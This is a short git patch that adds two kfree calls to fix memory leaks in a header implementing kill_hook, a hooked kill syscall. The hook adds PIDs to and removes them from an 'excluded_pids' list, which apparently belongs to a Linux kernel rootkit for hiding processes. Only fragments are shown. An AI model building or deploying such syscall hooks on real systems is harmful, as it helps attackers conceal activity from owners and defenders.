From cc7183206b72ac242ab94a31769b847a9b61dd67 Mon Sep 17 00:00:00 2001 From: Blenderwizard Date: Wed, 28 Dec 2022 17:34:07 +0100 Subject: [PATCH] fixed leaks --- include/syscall_kill_hook.h | 2 ++ 1 file changed, 2 insertions(+) diff --git a/include/syscall_kill_hook.h b/include/syscall_kill_hook.h index 43f17a1..84f1337 100644 --- a/include/syscall_kill_hook.h +++ b/include/syscall_kill_hook.h @@ -50,6 +50,7 @@ static asmlinkage int kill_hook(const struct pt_regs * regs) { list_del(&target->list); kfree(target->data); kfree(target); + kfree(strpid); } else { append_node(&excluded_pids, strpid); } @@ -89,6 +90,7 @@ static asmlinkage int kill_hook(pid_t pid, int sig) { list_del(&target->list); kfree(target->data); kfree(target); + kfree(strpid); } else { append_node(&excluded_pids, strpid); }